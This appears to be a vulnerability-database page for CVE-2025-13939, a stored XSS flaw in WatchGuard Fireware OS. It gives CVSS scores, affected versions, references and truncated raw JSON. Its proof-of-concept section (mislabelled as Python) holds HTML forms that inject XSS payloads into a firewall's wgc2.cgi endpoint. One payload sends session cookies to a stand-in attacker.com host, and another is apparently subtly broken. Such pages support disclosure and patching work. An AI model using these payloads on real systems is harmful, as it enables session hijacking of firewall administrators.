CVE-2025-13939

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (Gateway Wireless Controller module) allows Stored XSS.This issue affects Fireware OS 11.7.2 up to and including 11.12.4+541730, 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_m440:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:watchguard:firebox_t15:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:watchguard:firebox_t35:-:*:*:*:*:*:*:* - NOT VULNERABLE

WatchGuard Fireware OS 11.7.2 - 11.12.4+541730

WatchGuard Fireware OS 12.0 - 12.11.4

WatchGuard Fireware OS 12.5 - 12.5.13

WatchGuard Fireware OS 2025.1 - 2025.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13939 Stored XSS PoC -->
<!-- Target: WatchGuard Fireware OS Gateway Wireless Controller -->
<!-- This PoC demonstrates the XSS vulnerability in SSID configuration -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13939 PoC</title>
</head>
<body>
    <h2>CVE-2025-13939 Stored XSS PoC</h2>
    <p>Target: WatchGuard Fireware OS Gateway Wireless Controller</p>
    
    <!-- Method 1: Script tag injection -->
    <form id="ssidForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST">
        <input type="hidden" name="action" value="save_ssid">
        <input type="hidden" name="ssid_name" value='"><script>alert("XSS")</script><x y="'>
        <input type="hidden" name="security_type" value="WPA2">
    </form>
    
    <!-- Method 2: Event handler injection -->
    <form id="deviceForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST">
        <input type="hidden" name="action" value="save_device">
        <input type="hidden" name="device_name" value='TestDevice" onerror="alert(document.cookie)" x="'>
    </form>
    
    <!-- Method 3: img onerror injection -->
    <form id="profileForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST">
        <input type="hidden" name="action" value="save_profile">
        <input type="hidden" name="profile_name" value='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'>
    </form>
    
    <script>
        // Auto-submit for demonstration (disabled by default)
        // document.getElementById('ssidForm').submit();
        
        function demonstrateXSS() {
            // Display the payloads
            console.log('Payload 1:', '<script>alert("XSS")</script>');
            console.log('Payload 2:', '" onerror="alert(document.cookie)" x="');
            console.log('Payload 3:', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>');
        }
        
        demonstrateXSS();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13939
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13939
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13939/
[4] VulDB https://vuldb.com/cve/CVE-2025-13939
[5] https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2025-00024

Raw JSON Data

JSON

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"MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": 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(truncated)